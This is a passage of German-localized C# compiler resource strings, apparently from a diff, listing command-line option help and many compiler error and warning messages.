+ (alle anderen möglichen Einstiegspunkte ignorieren) + Kurzform: -m) enthält +-fullpaths Compiler generiert vollqualifizierte Pfade +-filealign:<n> Gibt die Ausrichtung an, die für + Ausgabedateiabschnitte verwendet wird +-pathmap:<K1>=<V1>,<K2>=<V2>,... + Geben Sie eine Zuordnung für Quellpfadnamen an, die vom + Compiler ausgegeben werden. +-pdb:<file> Gibt den Namen der Debuginformationsdatei an (Standard: + Ausgabedateiname mit der Erweiterung PDB) +-errorendlocation Ausgabezeile und -spalte des Endspeicherorts + jedes Fehlers +-preferreduilang Gibt den Namen der bevorzugten Ausgabesprache an. +-nosdkpath Deaktiviert das Durchsuchen des Standard-SDK-Pfads nach Standardbibliotheksassemblys. +-nostdlib[+|-] Nicht auf Standardbibliotheken verweisen (mscorlib.dll) +-subsystemversion:<string> Gibt die Subsystemversion dieser Assembly an +-lib:<file list> Gibt zusätzliche Verzeichnisse an, in denen nach + Verweise gesucht werden soll +-errorreport:<string> Gibt an, wie interne Compiler-Fehler behandelt werden sollen: + "prompt", "send", "queue" oder "none". Der Standardwert ist + "queue". +-appconfig:<file> Gibt eine Anwendungskonfigurationsdatei an, die + Assemblybindungseinstellungen enthält +-moduleassemblyname:<string> Name der Assembly, zu der dieses Modul + gehören wird +-modulename:<string> Geben Sie den Namen des Quellmoduls +-generatedfilesout:<dir> Platziert Dateien, die während der Kompilierung im + angegebenen Verzeichnis generiert wurden. +-reportivts[+|-] Gibt Informationen über alle IVTs aus, die dieser + Assembly durch alle Abhängigkeiten gewährt wurden, und vermerkt Erreichbarkeitsfehler fremder Assemblys + mit der Assembly, aus der sie stammen. + + Syntaxfehler. Wert erwartet. + "{0}" ist keine Überschreibung und kann daher nicht versiegelt werden. + #error: "{0}" + Die Bereichsvariable "{0}" ist bereits deklariert. + Im AssemblySignatureKeyAttribute wurde ein öffentlicher Schlüssel mit ungültiger Signatur angegeben. + Der Tupelelementname "{0}" wird ignoriert, da vom Zieltyp "{1}" ein anderer oder kein Name angegeben ist. + Diese Warnung tritt auf, wenn Sie versuchen eine Methode, Eigenschaft oder einen Indexer eines Elements einer Klasse aufzurufen, die vom MarshalByRefObject abgeleitet wird, und es sich bei dem Element um einen Werttyp handelt. Objekte, die vom MarshalByRefObject vererbt werden, dienen in der Regel dazu, als Verweis in einer Anwendungsdomäne gemarshallt zu werden. Wenn über den Code versucht wird, direkt auf das Werttypelement eines solchen Objekts einer Anwendungsdomäne zuzugreifen, tritt eine Laufzeitausnahme auf. Um diese Warnung zu beheben, kopieren Sie zunächst das Element in eine lokale Variable und rufen Sie dann die Methode der Variable auf. + Der Aufruf mit "{0}" kann nicht abgefangen werden, da innerhalb von "{1}" nicht darauf zugegriffen werden kann. + Zwei Indexer haben unterschiedliche Namen. Das IndexerName-Attribut muss für jeden Indexer in einem Typ mit dem gleichen Namen verwendet werden. + Der Verweistypmodifizierer des Parameters stimmt nicht mit dem entsprechenden Parameter im Ziel überein. + "await" erfordert, dass der Rückgabetyp "{0}" von "{1}.GetAwaiter()" über die geeigneten Member IsCompleted, OnCompleted und GetResult verfügt und INotifyCompletion oder ICriticalNotifyCompletion implementiert. + "{0}" ist ein mehrdeutiger Verweis zwischen "{1}" und "{2}". + Ein in „struct“ mit Parameterliste deklarierter Konstruktor muss über einen „this“-Initialisierer verfügen, der den primären Konstruktor oder einen explizit deklarierten Konstruktor aufruft. + Die Option überschreibt das in einer Quelldatei oder einem hinzugefügten Modul angegebene Attribut. + Typen und Aliase können nicht als "erforderlich" bezeichnet werden. + {0}: "readonly" kann für Accessoren nur verwendet werden, wenn die Eigenschaft oder der Indexer sowohl einen get- als auch einen set-Accessor aufweist. + Basistyp-Ringabhängigkeit zwischen "{0}" und "{1}" + Es wurde ein Bezeichner oder ein numerisches Literal erwartet. + Der Typ "{0}" kann nicht implizit in "{1}" konvertiert werden. + Dereferenzierung eines möglichen Nullverweises. + Das XML-Fragment kann nicht eingeschlossen werden. + Gibt die lokale Variable als Verweis zurück, es handelt sich jedoch nicht um eine lokale ref-Variable. + {0}: Ein Instanzereignis in einer Schnittstelle kann keinen Initialisierer aufweisen. + "{0}" ist kein gültiger Aufrufkonventionstyp für "UnmanagedCallersOnly". + Der Konstruktor "{0}" kann sich nicht selbst aufrufen. + Ein einzeiliger Kommentar darf in einer interpolierten Zeichenfolge nicht verwendet werden. + Die lokale Variable wird als Verweis zurückgegeben, wurde jedoch mit einem Wert initialisiert, der nicht als Verweis zurückgegeben werden kann. + Eine lokale Variable oder Funktion mit dem Namen "{0}" ist bereits in diesem Bereich definiert. + Kann nicht abgefangen werden: Die Kompilierung enthält keine Datei mit dem Pfad "{0}". Wollten Sie den Pfad "{1}" verwenden? + Die zwei Assemblys unterscheiden sich in Release- und/oder Versionsnummer. Damit eine Vereinheitlichung vorgenommen wird, müssen Sie in der Konfigurationsdatei der Anwendung Direktiven angeben. Zudem müssen Sie den korrekten starken Namen einer Assembly angeben. + Der Rückgabewert von "{0}" ist keine Variable und kann daher nicht geändert werden. + "{0}": Basistyp "{1}" ist nicht CLS-kompatibel. + Dem erforderlichen Member "{0}" muss ein Wert zugewiesen werden. Ein geschachtelter Member oder Auflistungsinitialisierer kann nicht verwendet werden. + Anweisungen der obersten Ebene müssen vor Namespace- und Typdeklarationen stehen. + Die partiellen Methodendeklarationen "{0}" und "{1}" weisen Signaturunterschiede auf. + Die Quelldatei darf nicht sowohl Dateibereichs- als auch normale Namespacedeklarationen enthalten. + "{0}" ist schreibgeschützt. Eine Zuweisung ist daher nicht möglich. + Typ-Alias wird verwendet + Der Parameter "{0}" ist als Typ "{1}{2}" deklariert, sollte aber "{3}{4}" sein. + Fehler beim Lesen der Datei "{0}", die für das benannte Argument "{1}" für das PermissionSet-Attribut angegeben wurde: "{2}" + Eine Ausdrucksstruktur darf keinen switch-Ausdruck enthalten. + Für den "{0}"-Typparameter wurde bereits eine Einschränkungsklausel angegeben. Alle Einschränkungen für einen Typparameter müssen in einer einzigen Where-Klausel angegeben werden. + Der Modifizierer 'static' muss dem Modifizierer 'unsicher' vorangestellt sein. + "with" in anonymen Typen + Kann nicht auf "void" warten. + Das lokale Element "{0}" kann nicht als Verweis zurückgegeben werden, weil es kein lokales ref-Elelement ist. + Der Konstruktoraufruf muss dynamisch gebunden werden. Dies ist aber nicht möglich, da er Teil eines Konstruktorinitialisierers ist. Wandeln Sie die dynamischen Argumente um. + Der Typ der implizit typisierten out-Variablen "{0}" kann nicht abgeleitet werden. + Aus Assembly "{0}" können keine Interoptypen eingebettet werden, da das {1}-Attribut fehlt. + Die Direktive #line span erfordert Leerzeichen vor der ersten Klammer, vor dem Zeichen Offset und vor dem Dateinamen + Objektinitialisierer + Implizit typisierte Variablen dürfen nicht mehrere Deklaratoren aufweisen. + Die Rückgabe von {0} "{1}" als schreibbarer Verweis ist nicht möglich, weil es sich um eine schreibgeschützte Variable handelt. + Member, wie z. B. Felder, Methoden oder Anweisungen können nicht direkt in einem Namespace enthalten sein. + Der Membermodifizierer "{0}" muss dem Membertyp und -namen vorangehen. + Der switch-Ausdruck verarbeitet nicht alle möglichen Werte des zugehörigen Eingabetyps (nicht umfassend). + Abfangen eines Aufrufs von "{0}" mit Interceptor "{1}", aber die Signaturen stimmen nicht überein. + } erwartet. + Leerer Schalterblock. + Benanntes Attributargument erwartet. + Die Eingabezeichenfolge kann nicht in die entsprechende UTF-8-Byte-Darstellung konvertiert werden. {0} + Der Parameter weist mehrere eindeutige Standardwerte auf. + Ein Argument vom Typ "{0}" ist für das DefaultParameterValue-Attribut nicht zutreffend. + Die benutzerdefinierte Konvertierung muss zum oder vom einschließenden Typ konvertieren. + Verwendung eines möglicherweise nicht zugewiesenen Felds + Der Strukturmember "{0}" vom Typ "{1}" verursacht eine Schleife im Strukturlayout. + Einschränkungstyp ist nicht CLS-kompatibel + in Klammern gesetztes Muster + Die Attributklasse "{0}" kann nicht angewendet werden, da sie abstrakt ist. + Gibt einen Member der lokalen Variable "{0}" als Verweis zurück, es handelt sich jedoch nicht um eine lokale ref-Variable. + Der angegebene Ausdruck stimmt immer mit der angegebenen Konstante überein. + "{0}" ist nicht als abstrakt, extern oder partiell gekennzeichnet und muss daher einen Text deklarieren. + Unerreichbarer Code wurde entdeckt. + "{0}" kann den Schnittstellenmember "{1}" im Typ "{2}" nicht implementieren, weil das Feature "{3}" in C# {4} nicht verfügbar ist. Verwenden Sie Sprachversion {5} oder höher. + Das Verweisfeld '{0}' muss vor der Verwendung ref-zugewiesen werden. + Mögliche Nullverweiszuweisung. + Datensatzstrukturen + In dieser Async-Methode fehlen die "await"-Operatoren, weshalb sie synchron ausgeführt wird. Sie sollten die Verwendung des "await"-Operators oder von "await Task.Run(...)" in Betracht ziehen, um auf nicht blockierende API-Aufrufe zu warten bzw. CPU-gebundene Aufgaben auf einem Hintergrundthread auszuführen. + Das kontextbezogene Schlüsselwort „var“ kann nicht als expliziter Lambdarückgabetyp verwendet werden. + init-only-Setter + Die Bereichsvariable "{0}" darf nicht denselben Namen wie der Typparameter einer Methode aufweisen. + Für den {0}-Typ sind keine Konstruktoren definiert. + anonyme Methode + Es wurde eine Skriptdatei (CSX-Datei) erwartet, aber es wurde keine Datei angegeben. + Nur eine einzelne partielle Typdeklaration darf eine Parameterliste aufweisen. + Segmentmuster dürfen nicht für einen Wert vom Typ „{0}“ verwendet werden. + Gibt einen Parameter als Verweis zurück, es handelt sich jedoch nicht um einen ref-Parameter. + Typen, die NULL-Werte zulassen + '{0}' erfordert die Compilerfunktion '{1}', die von dieser Version des C#-Compilers nicht unterstützt wird. + Der primäre Konstruktor verursacht einen Konflikt mit dem synthetisierten Kopierkonstruktor. + Die /noconfig-Option wird ignoriert, da sie in einer Antwortdatei angegeben wurde. + Nullable-Verweistypen + Durch die Dekonstruktion der Form "var (...)" wird ein bestimmter Typ für "var" unzulässig. + Die Zeilennummer, die für die #line-Direktive angegeben wurde, fehlt oder ist ungültig. + Ungültiger XML-Code. Datei "{0}" kann nicht einbezogen werden. + Fehler beim Laden der Analyzer-Assembly {0}: {1} + Der benutzerdefinierte {0}-Operator muss als statisch und öffentlich deklariert sein. + Ungültige Deklaration. Verwenden Sie stattdessen "{0}-Operator <Zieltyp> (...". + '{0}: Statische Typen können nicht als Rückgabetypen verwendet werden. + "{0}" sollte keinen params-Parameter enthalten, da auch "{1}" keinen enthält. + Die lokale Variable "{0}" wird als Verweis zurückgegeben, wurde jedoch mit einem Wert initialisiert, der nicht als Verweis zurückgegeben werden kann. + Das Steuerelement wird an den Aufrufer zurückgegeben, bevor das Feld explizit zugewiesen wird. Dies führt zu einer vorhergehenden impliziten Zuweisung von "Standard". + Es kann keine temporäre Datei erstellt werden: {0} + Die beste Überladung für "{0}" enthält keinen Parameter mit dem Namen "{1}". + Der {0}-Typparameter hat den gleichen Namen wie der enthaltende Typ bzw. die enthaltende Methode. + Element blendet vererbte Element aus; fehlendes 'new'-Schlüsselwort + Eine partielle Methode muss innerhalb eines partiellen Typs deklariert sein. + Der Typ "{1}" in "{0}" verursacht einen Konflikt mit dem importierten Namespace "{3}" in "{2}". Der in "{0}" definierte Typ wird verwendet. + Der Namespace "{1}" in "{0}" verursacht einen Konflikt mit dem importierten Typ "{3}" in "{2}". Der in "{0}" definierte Namespace wird verwendet. + Die beste Übereinstimmung für die überladene {0}-Methode für den Sammlungsinitialisierer enthält einige ungültige Argumente. + Ein Ausdruck vom Typ "{0}" kann niemals dem angegebenen Muster entsprechen. + Listenmuster dürfen nicht für einen Wert vom Typ „{0}“ verwendet werden. Es wurde keine geeignete Längen- oder Anzahl-Eigenschaft gefunden. + Für die Arrayerstellung ist eine Arraygröße oder ein Arrayinitialisierer erforderlich. + Tupelgleichheit + Der {0}-Typparameter hat (im Gegensatz zu anderen Typparametern) kein entsprechendes typeparam-Tag im XML-Kommentar für "{1}". + Kann nicht abgefangen werden: Der Pfad "{0}" ist nicht zugeordnet. Der zugeordnete Pfad "{1}" wurde erwartet. + Ein in-Parameter kann kein Out-Attribut aufweisen. + Die Zuweisung in einem bedingten Ausdruck ist immer konstant. Wollten Sie == anstelle von = verwenden? + Fehler beim Lesen der Win32-Manifestdatei "{0}": {1} + Eine Ausdrucksbaumstruktur darf keine Handler-Konvertierung einer interpolierten Zeichenfolge enthalten. + Die Branches des bedingten ref-Operators verweisen auf Variablen mit inkompatiblen Deklarationsbereichen. + Das Attribut "{0}" aus dem Modul "{1}" wird ignoriert, stattdessen wird die Instanz der Quelle verwendet. + "{0}" kann keiner Bereichsvariablen zugewiesen werden. + Ein params-Parameter muss der letzte Parameter in einer Parameterliste sein. + Für den Abgleich von Tupeltyp "{0}" sind {1} Teilmuster erforderlich, aber es sind {2} Teilmuster vorhanden. + In einer finally-Klausel, die in der nächsten einschließenden catch-Klausel geschachtelt ist, ist keine throw-Anweisung ohne Argumente zulässig. + Der automatisch implementierte set-Accessor "{0}" kann nicht als "readonly" markiert werden. + Das Tupel muss mindestens zwei Elemente enthalten. + Der {0}-Typ kann nicht als Typargument verwendet werden. + Eine foreach-Anweisung kann nicht für Variablen vom Typ "{0}" verwendet werden, weil "{0}" keine öffentliche Instanz- oder Erweiterungsdefinition für "{1}" enthält. Meinten Sie "await foreach" statt "foreach"? + Der Dateiname "{0}" ist leer, enthält ungültige Zeichen, weist eine Laufwerkangabe ohne absoluten Pfad auf oder ist zu lang. + Dieser weist „{1}“ für „{0}“ zu, aber „{1}“ hat einen breiteren Werte-Escapebereich als „{0}“, wodurch die Zuweisung über „{0}“ von Werten mit engeren Escapebereichen als „{1}“ ermöglicht wird. + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters entspricht nicht dem außer Kraft gesetzten Member. + Die Zugriffsoptionen "protected", "protected internal" oder "private protected" werden von der Zielruntime für einen Member einer Schnittstelle nicht unterstützt. + Der Interoptyp "{0}" kann nicht eingebettet werden, da er nicht das erforderliche {1}-Attribut aufweist. + Eine asynchroner Lambdafunktion, die in einen zurückkehrenden „{0}“-Delegat konvertiert wurde, kann keinen Wert zurückgeben. + Nicht verwaltete generische Typeneinschränkungen + Die Anmerkung für Nullable-Verweistypen darf nur in Code innerhalb eines #nullable-Anmerkungskontexts verwendet werden. Für automatisch generierten Code ist eine explizite #nullable-Anweisung in der Quelle erforderlich. + Der Sprachenname "{0}" ist ungültig. + In einer for-, using-, fixed- oder declaration-Anweisung kann nur ein Typ verwendet werden. + Der Bereichsvariablen "{0}" kann nichts zugewiesen werden, sie ist schreibgeschützt. + "{0}" enthält keinen Konstruktor, der {1} Argumente annimmt. + Assemblykultur-Zeichenfolgen dürfen keine eingebetteten NUL-Zeichen enthalten. + Unerwartete Parameterliste. + Ein Modulinitialisierer muss eine normale Membermethode sein. + Ein festes Feld darf kein Referenzfeld sein. + Konstante interpolierte Zeichenfolgen + "{0}": Eine Einschränkungsklasse kann nicht gleichzeitig mit einer unmanaged-Einschränkung angegeben werden. + Die Variable '{0}' kann in diesem Kontext nicht verwendet werden, da sie möglicherweise referenzierte Variablen außerhalb ihres Deklarationsbereichs verfügbar macht + Es ist unzulässig, den Nullable-Typ "{0}?" in einem Muster zu verwenden. Verwenden Sie stattdessen den zugrunde liegenden Typ "{0}". + Auf einen statischen virtuellen oder abstrakten Schnittstellenmember kann nur über einen Typparameter zugegriffen werden. + Beide partiellen Methodendeklarationen müssen einen params-Parameter verwenden, oder keine von beiden darf einen params-Parameter verwenden. + "{0}" in der expliziten Schnittstellendeklaration wurde unter den implementierbaren Membern der Schnittstelle nicht gefunden. + Der Typ "{1}" in "{0}" verursacht einen Konflikt mit dem importierten Typ "{3}" in "{2}". Der in "{0}" definierte Typ wird verwendet. + Die explizite Anwendung von "System.Runtime.CompilerServices.NullableAttribute" ist unzulässig. + Arrayelemente können nicht vom Typ "{0}" sein. + Modifizierer können nicht in Ereignisaccessordeklarationen platziert werden. + '{0}' implementiert das Schnittstellenelement '{1}' nicht. '{2}' kann ein unzugängliches Mitglied nicht implizit implementieren. + Die Basisklasse "{0}" muss vor den Schnittstellen angegeben werden. + Der bedingte Ausdruck ist in der Sprachversion {0} nicht gültig, da zwischen „{1}“ und „{2}“ kein allgemeiner Typ gefunden wurde. Um eine Zielkonvertierung zu verwenden, führen Sie ein Upgrade auf die Sprachversion {3} oder höher aus. + Die angegebenen Optionen führen zu einem Konflikt: Win32-Ressourcendatei; Win32-Manifest + Iteratoren dürfen keine Zeigertypparameter aufweisen. + CallerMemberNameAttribute kann nicht angewendet werden, da keine Standardkonvertierungen von Typ "{0}" in Typ "{1}" verfügbar sind. + Ein Member des Parameters "{0}" kann nicht als Verweis zurückgegeben werden, weil es sich nicht um einen ref- oder out-Parameter handelt. + (Position des Symbols für den vorherigen Fehler) + Das stdin-Argument "-" ist angegeben, aber die Eingabe wurde nicht vom Standardeingabestream umgeleitet. + Mit "yield" kann im Text einer catch-Klausel kein Wert zurückgegeben werden. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem implizit implementierten Member. + Da es sich um eine asynchrone Methode handelt, muss der Rückgabeausdruck vom Typ „{0}“ anstelle von „{1}“ sein. + { oder ; erwartet. + Das this-Schlüsselwort ist in einer statischen Eigenschaft/Methode oder einem statischen Feldinitialisierer nicht gültig. + Der Parameter verfügt über den Modifizierer „params“ in der Lambdafunktion, aber nicht im Delegattyp des Ziels. + Der Schnittstellenmember "{0}" weist keine spezifischste Implementierung auf. Weder "{1}" noch "{2}" sind am spezifischsten. + optionaler Parameter + Ungültiger Suchpfad angegeben + "this" kann nicht als Verweis zurückgegeben werden. + Der Interoptyp, der mit dem eingebetteten Interoptyp "{0}" übereinstimmt, wurde nicht gefunden. Möglicherweise fehlt ein Assemblyverweis. + Diese Warnung tritt auf, wenn die in der Quelle gefundenen Assemblyattribute 'AssemblyKeyFileAttribute' oder 'AssemblyKeyNameAttribute' einen Konflikt mit der in den Projekteigenschaften angegebenen /Schlüsseldatei- oder /Schlüsselcontainer-Befehlszeilenoption, dem Schlüsseldateinamen oder Schlüsselcontainer in den Projekteigenschaften verursachen. + Diese Warnung gibt an, dass ein Attribut, wie z. B. InternalsVisibleToAttribute, nicht richtig angegeben wurde. + Zeiger + Eine Deklaration einer by-reference-Variablen muss einen Initialisierer aufweisen. + '"MethodImplOptions.Synchronized" kann nicht auf eine asynchrone Methode angewendet werden. + Ein Parameter kann nicht als Verweis '{0}' zurückgegeben werden, da es sich nicht um einen ref-Parameter handelt + "{0}" ist kein gültiger Rückgabetyp-Modifizierer für Funktionszeiger. Gültige Modifizierer sind "ref" und "ref readonly". + Das Argument {0} darf nicht mit dem Schlüsselwort (keyword) "ref" in der Sprachversion {1} übergeben werden. Um ref-Argumente an "in"-Parameter zu übergeben, führen Sie ein Upgrade auf die Sprachversion {2} oder höher durch. + Ungültige Objekterstellung + Der Parameter muss beim Beenden einen Wert ungleich NULL aufweisen, weil der von NotNullIfNotNull referenzierte Parameter nicht NULL ist. + Die in einem Namespace definierten Elemente dürfen nicht explizit als "private", "protected", "protected internal" oder "private protected" deklariert werden. + Einer der Parameter eines binären Operators muss der enthaltende Typ sein oder sein zugehöriger Typparameter, der darauf beschränkt ist. + Die Option /moduleassemblyname kann nur beim Erstellen des Zieltyps "module" angegeben werden. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp "{0}" entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem Zieldelegaten "{1}". + Der {0}-Typparameter erbt die in Konflikt stehenden Einschränkungen "{1}" und "{2}". + Der Ressourcenbezeichner "{0}" wurde in dieser Assembly bereits verwendet. + Der Standardparameterwert für "{0}" muss eine Kompilierzeitkonstante sein. + Das Programm enthält keine als Einstiegspunkt geeignete statische Main-Methode. + Der primäre Konstruktorparameter „{0}“ kann nicht durch Verweis zurückgegeben werden. + Der Datensatzmember "{0}" darf nicht statisch sein. + Dieser Fehler tritt auf, wenn der vordefinierte Systemtyp, wie z. B. System.Int32, in zwei Assemblys gefunden wird. Das kann auftreten, wenn Sie von zwei unterschiedlichen Stellen auf mscorlib oder System.Runtime.dll verweisen, z. B., indem Sie versuchen, zwei Versionen des .NET Framework nebeneinander auszuführen. + Ein Member von "{0}" kann nicht als Verweis zurückgegeben werden, weil er mit einem Wert initialisiert wurde, der nicht als Verweis zurückgegeben werden kann. + Das erforderliche Mitglied '{0}' kann von '{1}' nicht ausgeblendet werden. + Methoden mit Variablenargumenten sind nicht CLS-kompatibel. + Verwenden Sie "Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal" zum Erstellen von numerischen Literaltoken. + Beide partiellen Methodendeklarationen müssen statisch sein, oder keine von beiden darf statisch sein. + "{0}" ist kein Referenztyp, wie er für die lock-Anweisung erforderlich ist. + "{0}" implementiert nicht das Muster "{1}". "{2}" ist keine öffentliche Instanz- oder Erweiterungsmethode. + Die asynchrone foreach-Anweisung kann für Variablen vom Typ "{0}" nicht verwendet werden, da sie mehrere Instanziierungen von "{1}" implementiert. Nehmen Sie eine Umwandlung in eine spezifische Schnittstelleninstanziierung vor. + Das Verweisfeld muss vor der Verwendung ref-zugewiesen werden. + Ein statisches schreibgeschütztes Feld kann nicht als schreibbarer Verweis zurückgegeben werden. + Eine asynchrone foreach-Anweisung kann nicht für Variablen vom Typ "{0}" verwendet werden, weil "{0}" keine öffentliche Instanz- oder Erweiterungsdefinition für "{1}" enthält. Meinten Sie "foreach" statt "await foreach"? + Ein „impliziter“ benutzerdefinierter Konvertierungsoperator kann nicht als überprüft deklariert werden + CLS-kompatible Schnittstellen dürfen nur CLS-kompatible Elemente besitzen + Hinzugefügte Module müssen mit dem CLSCompliant-Attribut markiert werden, damit sie mit der Assembly übereinstimmen. + "{0}": Ein Parameter, eine lokale Variable oder eine lokale Funktion kann nicht denselben Namen aufweisen wie der Typparameter einer Methode. + Rückgabetyp ist nicht CLS-kompatibel + Fehler beim Öffnen der Symboldatei "{0}": {1} + "{0}" kann den Schnittstellenmember "{1}" in Typ "{2}" nicht implementieren, weil er einen __arglist-Parameter umfasst. + Die geladene Assembly verweist auf das .NET Framework. Dies wird nicht unterstützt. + Diese Kombination aus Argumenten für "{0}" führt möglicherweise dazu, dass vom Parameter "{1}" referenzierte Variablen außerhalb ihres Deklarationsbereichs verfügbar gemacht werden. + Der Typ der implizit typisierten Dekonstruktionsvariablen "{0}" kann nicht abgeleitet werden. + Der Member kann in diesem Attribut nicht verwendet werden. + Einschränkungen für Außerkraftsetzungs- und explizite Schnittstellenimplementierungsmethoden werden von der Basismethode geerbt und können daher nur für eine class- oder eine struct-Einschränkung direkt angegeben werden. + Ungültiger Dateiname für Präprozessordirektive angegeben. + Der primäre Strukturkonstruktorparameter „{0}“ vom Typ „{1}“ verursacht eine Schleife im struct-Layout. + "{0}" ist in Assembly "{1}" definiert. + {0}-Zeichen müssen in interpolierten Zeichenfolgen (durch Verdoppeln) maskiert werden. + Die Methodengruppe „{0}“ wird in den Nichtdelegattyp „{1}“ konvertiert. Wollten Sie die Methode aufrufen? + Erweiterungsmethode + Ausdruck hat keinen Namen. + Der Interceptor muss über einen "this"-Parameter verfügen, der dem Parameter "{0}" auf "{1}" entspricht. + Unerwarteter Fehler beim Schreiben der Debuginformationen: "{0}". + Kompilierung (C#): + Typ ist nicht CLS-kompatibel + Die Konvertierung in den statischen Typ "{0}" ist nicht möglich. + Typ besitzt keine zugänglichen Konstruktoren, die nur CLS-kompatible Typen verwenden + Ein Member wird als Verweis zurückgegeben, wurde jedoch mit einem Wert initialisiert, der nicht als Verweis zurückgegeben werden kann. + "{0}" ist ein Member des nicht CLS-kompatiblen Typs "{1}" und kann daher nicht als CLS-kompatibel markiert werden. + Der Filterausdruck ist eine Konstante "false". Ziehen Sie in Betracht, die catch-Klausel zu entfernen. + anonyme Typen + Die Konstante "{0}" kann nicht als statisch markiert sein. + Die Eigenschaft oder der Indexer "{0}" kann in diesem Kontext nicht verwendet werden, weil der get-Accessor fehlt. + Automatisch implementierte Instanzeigenschaften in schreibgeschützten Strukturen müssen schreibgeschützt sein. + Ein generischer aufgabenähnlicher Rückgabetyp wurde erwartet, aber der Typ „{0}“, der im Attribut „AsyncMethodBuilder“ gefunden wurde, war nicht geeignet. Es muss sich um einen ungebundenen generischen Typ von Stelligkeit Eins handelt, und der enthaltende Typ (falls vorhanden) muss nicht generisch sein. + Instanzeigenschaften in Schnittstellen können keine Initialisierer aufweisen. + Die angegebene Sprachversion "{0}" darf keine führenden Nullen enthalten. + Der Modulinitialisierer kann nicht mit dem Attribut "UnmanagedCallersOnly" versehen werden. + Fehler beim Öffnen der Antwortdatei "{0}". + Die beste überladene Add-Methode für das Sammlungsinitialisiererelement ist veraltet. + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem Zieldelegaten. + versiegelte "ToString" im Datensatz + Inkonsistenter Zugriff: Rückgabetyp "{1}" ist weniger zugreifbar als Operator "{0}". + Nicht verwendeter externer Alias. + Ein Verweis auf eine implizit typisierte out-Variable "{0}" ist in der gleichen Argumentliste unzulässig. + Ein partial-Modifizierer in der Deklaration des Typs "{0}" fehlt. Es ist eine andere partielle Deklaration dieses Typs vorhanden. + Der Ausdruck kann nicht in "{0}" konvertiert werden, da es sich nicht um eine zuweisbare Variable handelt. + "{0}": Überschreiben nicht möglich, weil "{1}" keinen überschreibbaren set-Accessor hat. + Muster fehlt. + Der externe Alias "{0}" wurde nicht in einer /reference-Option angegeben. + "{0}" ist kein bekannter Attributspeicherort. Gültige Attributspeicherorte für diese Deklaration sind "{1}". Alle Attribute in diesem Block werden ignoriert. + __arglist darf kein Argument eines void-Typs aufweisen. + Der Parameter "{0}" muss mit dem Schlüsselwort "{1}" deklariert werden. + Schnittstelle "{0}" besitzt eine ungültige Quellschnittstelle, die zum Einbetten von Ereignis "{1}" erforderlich ist. + Die beste Übereinstimmung für die überladene {0}-Methode für das Sammlungsinitialisiererelement kann nicht verwendet werden. Die Add-Methoden von Sammlungsinitialisierern dürfen keine ref- oder out-Parameter enthalten. + Der Typ dient nur zu Testzwecken und kann in zukünftigen Aktualisierungen geändert oder entfernt werden. + Der Operator '&' sollte nicht für Parameter oder lokale Variablen in asynchronen Methoden verwendet werden. + "{0}": Es wurde keine passende Methode zum Überschreiben gefunden. + <Pfadliste> + "{0}" ist "{1}", daher können die zugehörigen Member nicht geändert werden. + "{0}": Nur CLS-kompatible Member können abstrakt sein. + Nicht erforderliche using-Direktive + Beim Erstellen eines Moduls ist eine Verknüpfung mit Ressourcendateien nicht möglich. + <globaler Namespace> + Einschränkungsringabhängigkeit zwischen "{0}" und "{1}" + "{0}" definiert den Operator == oder !=, aber überschreibt Object.GetHashCode() nicht. + Unterstützte Sprachversionen: + Der Name "_" verweist auf die Konstante, nicht auf das discard-Muster. Verwenden Sie "var _" zum Verwerfen des Werts oder "@_" zum Verweis auf eine Konstante über diesen Namen. + Einer der Parameter eines binären Operators muss der enthaltende Typ sein. + "{0}" implementiert nicht "{1}". + Auf den geschützten Member "{0}" kann nicht über einen Qualifizierer vom Typ "{1}" zugegriffen werden. Der Qualifizierer muss vom Typ "{2}" (oder von ihm abgeleitet) sein. + Rohzeichenfolgenliterale sind in Präprozessordirektiven nicht zulässig. + Der vom Compiler angeforderte Member "{0}.{1}" fehlt. + Assembly- und Modulattribute sind in diesem Kontext nicht zulässig. + Einzeiliger Kommentar oder Zeilenende erwartet. + Element blendet kein vererbtes Element aus; neues Schlüsselwort erforderlich + Der CollectionBuilderAttribute-Generatortyp muss eine nicht generische Klasse oder Struktur sein. + Strukturen ohne explizite Konstruktoren können keine Member mit Initialisierern enthalten. + "{0}": Statische Klassen können nicht als Einschränkungen verwendet werden. + Eine asynchrone Methode kann einen der folgenden Rückgabetypen haben: void, Task, Task<T>, einen taskähnlichen Typ, IAsyncEnumerable<T> oder IAsyncEnumerator<T> + Der XML-Kommentar enthält ein cref-Attribut "{0}", das nicht aufgelöst werden konnte: + Der Typname "{0}" konnte nicht im Namespace "{1}" gefunden werden. Dieser Typ wurde an Assembly "{2}" weitergeleitet. Sie sollten einen Verweis auf die Assembly hinzufügen. + Die Methode "{0}" gibt eine class-Einschränkung für den Typparameter "{1}" an, aber der zugehörige Typparameter "{2}" der außer Kraft gesetzten oder explizit implementierten Methode "{3}" ist kein Verweistyp. + Foreach kann nicht für "{0}" verwendet werden. Wollten Sie "{0}" aufrufen? + Ein Verweis auf ein temporäres Feld wird nicht als temporär behandelt + Beim Zugriff auf ein Element zu einem Feld einer "Marshal by Reference"-Klasse kann eine Laufzeitausnahme ausgelöst werden + Ein Feld kann keinen void-Typ aufweisen. + Der mögliche Methodenname "{0}" kann nicht abgefangen werden, da er nicht aufgerufen wird. + Basistyp ist nicht CLS-kompatibel + Member des primären Konstruktorparameters „{0}“ eines schreibgeschützten Typs können nicht geändert werden (mit Ausnahme des init-only-Setters des Typs oder eines Variableninitialisierers). + Die Erweiterungsmethoden müssen in statischen Klassen auf oberster Ebene definiert werden. "{0}" ist eine geschachtelte Klasse. + Die Aufrufkonvention von "{0}" wird von der Sprache nicht unterstützt. + Das Modul "{0}" wurde in dieser Assembly bereits definiert. Alle Module müssen einen eindeutigen Dateinamen haben. + Attribute sind in diesem Kontext nicht gültig. + Puffer fester Größe + Unzulässiges Semikolon nach der Methode oder dem Accessorblock. + Member von {0} "{1}" können nicht als ref- oder out-Wert verwendet werden, weil es sich um eine schreibgeschützte Variable handelt. + Der benutzerdefinierte Operator "{0}" kann nicht als überprüft deklariert werden. + Durch Einbetten des Interoptyps "{0}" aus der Assembly "{1}" wird ein Namenskonflikt in der aktuellen Assembly verursacht. Legen 